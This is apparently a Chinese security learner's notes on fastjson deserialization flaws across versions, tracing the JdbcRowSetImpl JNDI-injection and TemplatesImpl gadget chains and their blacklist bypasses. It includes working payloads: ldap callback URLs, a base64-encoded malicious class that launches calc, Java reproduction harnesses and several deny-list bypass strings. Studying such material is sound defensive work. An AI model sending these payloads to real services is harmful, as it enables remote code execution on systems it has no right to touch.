前言:这篇是JNDI学玩之后,作为学习fastjson的第一篇笔记

#################################时间线fastjosn <= 1.2.24#################################

在学习fastjson反序列化漏洞之前,我们先来了解下什么是AutoType机制

parse与parseObject

我们导入的依赖包是1.2.24版本

<!-- https://mvnrepository.com/artifact/com.alibaba/fastjson -->
    <dependency>
      <groupId>com.alibaba</groupId>
      <artifactId>fastjson</artifactId>
      <version>1.2.24</version>
    </dependency>

先来讲下,在使用fastjson中将JSON串反序列化成Java对象的两个常用方法是parse()及parseObject(),那么这两者有什么区别呢?

User类:

public class User {
    private String username;

    public User(){
        System.out.println("call construct...");
    }

    public String getUsername() {
        System.out.println("call getUsername...");
        return username;
    }

    public void setUsername(String username) {
        System.out.println("call setUsername...");
        this.username = username;
    }

    @Override
    public String toString() {
        return "User{" +
                "username='" + username + '\'' +
                '}';
    }
}

如下代码,会发现parseObject会调用解析的类对应的set方法与get方法,而parse方法就只会调用set方法

public class Test1 {
    public static void main(String[] args) {
        String userJson = "{\"@type\":\"com.fastjson.pojo.User\",\"userName\":\"testUserName\"}";

        //parseObject
        Object object1 = JSON.parseObject(userJson);
        System.out.println(object1);

        System.out.println("=============");

        //parse
        Object object2 = JSON.parse(userJson);
        System.out.println(object2);
    }
}

parse()及parseObject()进行反序列化时的细节区别在于,parse() 会识别并调用目标类的 setter 方法,而 parseObject() 由于要将返回值转化为JSONObject,多执行了 JSON.toJSON(obj),所以在处理过程中会调用反序列化目标类的getter 方法来将参数赋值给JSONObject。

parse

因为parseObject方法中就有调用parse方法,所以这里跟进parseObject方法里面看parse就好了,可以发现它这个方法也会调用parse方法,那么这里就会进行set方法,parse方法是默认使用DefaultJSONParser来进行解析

fastjson生成javabean fastjson parseobject_fastjson生成javabean

然后接着进行进一步的解析,来获取这个类名,判断是否为@type字符串,如果是的话接着通过默认的类加载器,那么也就是AppClassLoader来进行加载这个类对应的Class对象,通过这个判断他就会帮助我们通过来使用默认的类加载器来进行加载!

ps:这里的@type跟autoType没有关系

fastjson生成javabean fastjson parseobject_bc_02

在parse中后面有进行反序列化的操作,但是发现这里的序列化步骤跟不了,所以这里就先留着吧

parseObject

然后接着这里继续看parseObject为什么能够实现get方法,如下所示,跟到toJSON方法中,它会先进行判断一系列要被转换对象的类型,是否是属于谁的实例

fastjson生成javabean fastjson parseobject_bc_03

接着就会来到这里,这里的getFieldValuesMap的操作就会进行相关对象属性的所有的get方法,在getFieldValuesMap方法

fastjson生成javabean fastjson parseobject_反序列化_04

跟进去继续看,发现它会将所有get对应对象中的字段值放进去LinkedHashMap对象中

fastjson生成javabean fastjson parseobject_json_05

这里继续跟进去看下,先来到getPropertyValue方法中

fastjson生成javabean fastjson parseobject_bc_06

接着就是调用fieldinfo.get(object)方法,fieldinfo为对应字段的名字,跟进来可以看到用到了反射来进行调用对应的get方法,从而进行打印get对应的属性名

fastjson生成javabean fastjson parseobject_fastjson生成javabean_07

到这里就应该简单的对fastjson的两个函数parse和parseObject进行初步的了解了

那么到这里可以稍微有个总结:

1、若使用parseObject方法,会触发指定生成类的构造函数、get、set方法,而parse方法就只会触发指定生成类的构造函数、set方法。

2、parseObject()本质上同样是调用parse()进行反序列化的,只是在最后多了一步JSON.toJSON操作。

所以在fastjson这两个方法的反序列化的区别是:parse()会识别调用目标类的setter方法,而parseObject()会额外调用对应实例化对象的属性的getter方法。

AutoType机制

前面有提到过,那个@type并不是跟autoType相关的,自己一开始学以为这个才是autoType的开关,实际上不是的,可以在parse中继续调试,这里可以看到checkAutoType方法

fastjson生成javabean fastjson parseobject_json_08

这里跟进checkAutoType,才可以真正的看到什么是关于autoType的机制,这里关注两个判断点

第一个:开启autoType机制的走法,先判断白名单再判断黑名单,且loadClass是只加载白名单中的类

fastjson生成javabean fastjson parseobject_反序列化_09

第二个:关闭autoType机制的走法,先判断黑名单再判断白名单,且loadClass只加载白名单中的类

fastjson生成javabean fastjson parseobject_fastjson生成javabean_10

这判断黑白名单自己感觉不太重要,接着看下面,第二个判断走了之后,就来到了如下,如果此时autoType开启的情况下来到这里,那么就说明白名单中没有自己想要加载的类,所以这里如果你的autoType开启的话,那么它就会帮助你进行loadClass,这里我认为才是autoType的关键作用!

fastjson生成javabean fastjson parseobject_fastjson生成javabean_11

回到getter,setter,既然会调用getter、setter方法,那么我们是否就可以进行相关的反序列化攻击呢?

Fastjson在进行反序列化操作时,并没有使用默认的readObject(),而是自己实现了一套反序列化机制。

到这里对于攻击fastjson就有两个方向可以走,一个是getter攻击方向,一个是setter攻击方向,接下来就讲两条最初始的攻击链,一条是在cc链中就已经接触过的TemplatesImpl(跟cc的攻击链走法不一样),还有一条就是JdbcRowSetImpl

反序列化攻击

JdbcRowSetImpl(JNDI注入)

直接来看这个类吧,去看相关的setter方法中是否有可以进行利用的方法,如下payload所示

payload:{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://1lp94z.dnslog.cn","autoCommit":true}}

根据前面的分析,利用类为JdbcRowSetImpl,set属性dataSourceName

//JdbcRowSetImpl
    public void setDataSourceName(String var1) throws SQLException {
        if (this.getDataSourceName() != null) {
            if (!this.getDataSourceName().equals(var1)) {
                super.setDataSourceName(var1);
                this.conn = null;
                 = null;
                 = null;
            }
        } else {
            super.setDataSourceName(var1); //第一次走这里
        }

    }
    
    //父类BaseRowSet
    public void setDataSourceName(String name) throws SQLException {

        if (name == null) {
            dataSource = null;
        } else if (name.equals("")) {
           throw new SQLException("DataSource name cannot be empty string");
        } else {
           dataSource = name; // 走这里
        }

        URL = null;
    }

set属性AutoCommit,这里设置true或者false都没关系,主要是要触发this.connect方法

public void setAutoCommit(boolean var1) throws SQLException {
        if (this.conn != null) {
            this.conn.setAutoCommit(var1);
        } else {
            this.conn = this.connect(); // 
            this.conn.setAutoCommit(var1);
        }

    }

这里注意this.conn = this.connect(),如下所示,DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());,完美的JNDI注入!

private Connection connect() throws SQLException {
        if (this.conn != null) {
            return this.conn;
        } else if (this.getDataSourceName() != null) {
            try {
                InitialContext var1 = new InitialContext();
                DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
                return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
            } catch (NamingException var3) {
                throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
            }
        } else {
            return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
        }
    }

JdbcRowSetImpl JNDI注入复现

因为这里只涉及到了set方法,所以我们这里不管是用parseObject还是parse都是可以进行JNDI注入

Test.java

public class Test{
    public static void main(String[] args) {
        String userJson = "{\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://h2q28g.dnslog.cn\",\"autoCommit\":false}}";
        //parse
        Object object2 = JSON.parse(userJson);
        System.out.println(object2);
    }
}

fastjson生成javabean fastjson parseobject_反序列化_12

fastjson生成javabean fastjson parseobject_反序列化_13

再来试下parseObject,同样可以

Test.java

public class Test{
    public static void main(String[] args) {
        String userJson = "{\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://fuhb1g.dnslog.cn\",\"autoCommit\":false}}";
        //parseObject
        Object object2 = JSON.parseObject(userJson);
        System.out.println(object2);
    }
}

fastjson生成javabean fastjson parseobject_json_14

TemplatesImpl利用链

上面的利用链只用到了setter方法,这里的TemplatesImpl将会用到getter,所以要利用的话就需要是parseObject来进行调用才可以了

这个TemplatesImpl调用链,自己笔记中在分析cc2的时候有讲过,但是这里的利用链和cc中的不一样,这里来讲下,这里主要还是配合fastjson的getter方法的特性来进行利用

虽然TemplatesImpl调用链在反序列化中很常见,但是在这里的fastjson想要利用的话条件还是比较难的,因为需要额外配置项设置才可以。

实质:fastjson通过_bytecodes字段传入恶意类,调用outputProperties属性的getter方法时,实例化传入的恶意类,调用其构造方法,造成任意命令执行

分析流程:

先来到TemplatesImpl类中进行观察,观察之前我先说下

1、分析过cc2的人都知道,在cc2中的TemplatesImpl的利用是通过链式调用newTransformer来触发getTransletInstance,而我们这里fastjson不行

2、fastjson我们可以利用的就是getter和setter,那么我们就可以找哪里的getter或者setter会来调用newTransformer即可

TemplatesImpl中的getOutputProperties方法存在如上说的情况,分析下顺序:

1、这里先是调用newTransfomer(),那么就是先进行实例化transformer,transformer则由我们来控制new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory);,里面包含了三个属性_outputProperties,_indentNumber, _tfactory

2、利用fastjson parseObject的setter和getter的方法能控完全控制上面的三个属性

3、那么我们控制完了之后,调用的就是getTransletInstance这个函数,这个函数在cc2的笔记中有讲过,它会通过_bytecode属性(能控制)中的值来进行loadClass,最后进行newInstance实例化触发执行命令

4、最后再看下getTransletInstance的属性除了_bytecode之外哪写需要控制的,_name,其中_class就让它为null,因为这里的_class需要通过defineTransletClasses来进行赋值

public synchronized Transformer newTransformer()
        throws TransformerConfigurationException
    {
        TransformerImpl transformer;

        transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
            _indentNumber, _tfactory);

        if (_uriResolver != null) {
            transformer.setURIResolver(_uriResolver);
        }

        if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
            transformer.setSecureProcessing(true);
        }
        return transformer;
    }

    public synchronized Properties getOutputProperties() {
        try {
            return newTransformer().getOutputProperties();
        }
        catch (TransformerConfigurationException e) {
            return null;
        }
    }

    private Translet getTransletInstance()
        throws TransformerConfigurationException {
        try {
            if (_name == null) return null;

            if (_class == null) defineTransletClasses();

            // The translet needs to keep a reference to all its auxiliary
            // class to prevent the GC from collecting them
            AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
            translet.postInitialization();
            translet.setTemplates(this);
            translet.setOverrideDefaultParser(_overrideDefaultParser);
            translet.setAllowedProtocols(_accessExternalStylesheet);
            if (_auxClasses != null) {
                translet.setAuxiliaryClasses(_auxClasses);
            }

            return translet;
        }
        catch (InstantiationException e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
        catch (IllegalAccessException e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
    }

总结最后需要控制的属性有:

new TransformerImpl需要:_outputProperties_tfactory

getTransletInstance需要:_name_bytecode

提示下:可能有人会问为什么_indentNumber这个不控制呢?因为在反序列化readObject的时候不控制的话默认就是0,想不想控制都无所谓

fastjson生成javabean fastjson parseobject_反序列化_15

payload(执行calc,自行base64解码):

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtManNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAJanNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAABEABAASAA0AEwAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAHwAIACAADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ="],'_name':'a.b','_tfactory':{ },"_outputProperties":{ }}

这样子还不能运行,由于部分需要我们更改的私有变量没有 setter 方法,需要使用 Feature.SupportNonPublicField 参数。

TemplatesImpl 反序列化复现

public class Test2 {
    public static void main(String[] args) {
        ParserConfig config = new ParserConfig();
        String text = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtManNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAJanNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAABEABAASAA0AEwAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAHwAIACAADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ=\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }}";
        Object obj = JSON.parseObject(text, Feature.SupportNonPublicField);
    }
}

fastjson生成javabean fastjson parseobject_fastjson生成javabean_16

运行结果:

fastjson生成javabean fastjson parseobject_反序列化_17

下面的慢慢写...

#################################时间线 1.2.25 <=fastjosn<= 1.2.41#################################

前置条件:AutoTypeSupport开启

AutoType的黑名单机制(出现于1.2.25)

我们导入的依赖包是1.2.25版本

<!-- https://mvnrepository.com/artifact/com.alibaba/fastjson -->
    <dependency>
      <groupId>com.alibaba</groupId>
      <artifactId>fastjson</artifactId>
      <version>1.2.25</version>
    </dependency>

使用JdbcRowSetImpl链,已经发现执行失败了

fastjson生成javabean fastjson parseobject_json_18

TemplatesImpl链,同样失败了

fastjson生成javabean fastjson parseobject_json_19

原因在版本 1.2.25 中,官方对之前的反序列化漏洞进行了修复,引入了 checkAutoType 安全机制,默认情况下 autoTypeSupport 关闭,不能直接反序列化任意类,而打开 AutoType 之后,是基于内置黑名单来实现安全的,fastjson 也提供了添加黑名单的接口。

既然Json串中传入指定不可靠第三方Type类时是有被攻击风险的,自然最简单的做法就是在反序列化时首先校验传入的Class是否在黑名单Class列表中,如下所示,com.alibaba.fastjson.parser.ParserConfig中的成员属性

fastjson生成javabean fastjson parseobject_bc_20

1.2.25的黑名单如下所示:

bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework

checkAutoType的处理流程

在传入指定类型Class时,会首先判断该类是否在黑名单中,如果是,则抛出异常,代码在如下:

com.alibaba.fastjson.parser.ParserConfig#checkAutoType(String typeName, Class<?> expectClass)

fastjson生成javabean fastjson parseobject_json_21

既然是黑名单,那么其中的风险类自然是要在不断迭代演进中添加的,不可能一步到位,屏蔽所有风险类,这也是为什么fastJson频繁升级来修复漏洞的原因!

这里的话不仅可以添加黑名单,还可以添加白名单,根据autotype的开启情况

添加反序列化白名单有3种方法(javasec中提及):

1、使用代码进行添加:ParserConfig.getGlobalInstance().addAccept("com.zpchcbd.myfastjson.,org.javaweb.")
2、加上JVM启动参数:-Dfastjson.parser.autoTypeAccept=com.zpchcbd.myfastjson.*
3、在fastjson.properties中添加:fastjson.parser.autoTypeAccept=com.zpchcbd.myfastjson.

看一下 checkAutoType() 的逻辑,如果开启了 autoType,先判断类名是否在白名单中,如果在,就使用 TypeUtils.loadClass 加载,然后使用黑名单判断类名的开头,如果匹配就抛出异常。

fastjson生成javabean fastjson parseobject_fastjson生成javabean_22

如果没开启 autoType ,则是先使用黑名单匹配,再使用白名单匹配和加载。最后,如果要反序列化的类和黑白名单都未匹配时,只有开启了 autoType 或者 expectClass 不为空也就是指定了 Class 对象时才会调用 TypeUtils.loadClass 加载。

fastjson生成javabean fastjson parseobject_fastjson生成javabean_23

TypeUtils loadClass逻辑绕过

com.alibaba.fastjson.parser.ParserConfig#checkAutoType(String typeName, Class<?> expectClass)

public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
        if (typeName == null) {
            return null;
        }

        final String className = typeName.replace('$', '.');

        if (autoTypeSupport || expectClass != null) { 
            for (int i = 0; i < acceptList.length; ++i) {
                String accept = acceptList[i];
                if (className.startsWith(accept)) {
                    return TypeUtils.loadClass(typeName, defaultClassLoader); 
                }
            }

            for (int i = 0; i < denyList.length; ++i) {
                String deny = denyList[i];
                if (className.startsWith(deny)) { // 当payload为 Lcom.sun.rowset.JdbcRowSetImpl; ,则无法在这个循环中进行匹配
                    throw new JSONException("autoType is not support. " + typeName);
                }
            }
        }

如下,把autoType开启后再进行调试...,开启autoType的方法参考:https:///alibaba/fastjson/wiki/enable_autotype

public class Test{
    public static void main(String[] args) {
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String userJson = "{\"b\":{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://fuhb1g.dnslog.cn\",\"autoCommit\":false}}";
        Object object2 = JSON.parse(userJson);
        System.out.println(object2);
    }
}

payload:Lcom.sun.rowset.JdbcRowSetImpl;

fastjson生成javabean fastjson parseobject_反序列化_24

接着就来到了TypeUtils.loadClass方法

fastjson生成javabean fastjson parseobject_fastjson生成javabean_25

而fastjson本身对描述符进行了兼容,从而进行了绕过

fastjson生成javabean fastjson parseobject_反序列化_26

fastjson生成javabean fastjson parseobject_反序列化_27

#################################时间线 1.2.42 <= fastjosn <= 1.2.42#################################

前置条件:AutoTypeSupport开启

接着就来到了1.2.42的历史线

<!-- https://mvnrepository.com/artifact/com.alibaba/fastjson -->
    <dependency>
      <groupId>com.alibaba</groupId>
      <artifactId>fastjson</artifactId>
      <version>1.2.42</version>
    </dependency>

作者将原本的明文黑名单转为使用了 Hash 黑名单,防止安全人员对其研究。

loadClass递归绕过

因为loadClass会递归进行判断符号,所以我们这边双写L ; 则可以绕过黑名单中的HASH,从而进行执行JNDI注入

LLcom.sun.rowset.JdbcRowSetImpl;;

#################################时间线 1.2.43 <= fastjosn <= 1.2.43#################################

前置条件:AutoTypeSupport开启

接着就来到了1.2.43的历史线

基于[描述符 递归的绕过

{
    "@type":"[com.sun.rowset.JdbcRowSetImpl"[,
    {"dataSourceName":"ldap://127.0.0.1:23457/Command8",
    "autoCommit":true
}

#################################时间线 1.2.44 <= fastjosn <= 1.2.44#################################

这个版本主要是修复上一个版本中使用 [ 绕过黑名单防护的问题。

影响版本:1.2.25 <= fastjson <= 1.2.44
描述:在此版本将 [ 也进行修复了之后,由字符串处理导致的黑名单绕过也就告一段落了。

#################################时间线 1.2.45 <= fastjosn <= 1.2.45#################################

前置条件:AutoTypeSupport开启

接着来到了1.2.45

新的JNDI注入对象发现

{
    "@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
    "properties":{
        "data_source":"ldap://127.0.0.1:23457/Command8"
    }
}

#################################时间线 1.2.46 <= fastjosn <= 1.2.47#################################

前置条件:无条件,通杀1.2.47之前所有,包括1.2.47

在 fastjson 不断迭代到 1.2.47 时,爆出了最为严重的漏洞,可以在不开启 AutoTypeSupport 的情况下进行反序列化的利用。

这次的绕过问题还是出现在 checkAutoType() 方法中,fastjosn缓存绕过AutoTypeSupport,之后的笔记细讲

#################################时间线 1.2.48 <= fastjosn <= 1.2.68#################################

前置条件:无条件,通杀1.2.68之前所有,包括1.2.68

变动一:SafeMode的安全机制

fastjson在1.2.68及之后的版本中引入了safeMode,配置safeMode后,无论白名单和黑名单,都不支持autoType,可一定程度上缓解反序列化Gadgets类变种攻击

对应到fastJson反序列化中的代码实现,代码在如下:

com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String, java.lang.Class<?>, int)

fastjson生成javabean fastjson parseobject_json_28

但与此同时,这个版本报出了一个新的 autoType 开关绕过方式:利用 expectClass 绕过 checkAutoType(),之后的笔记细讲

参考文章:https://p0rz9.github.io/2019/05/12/Fastjson反序列化之TemplatesImpl调用链/ 参考文章:javasec fastjson反序列化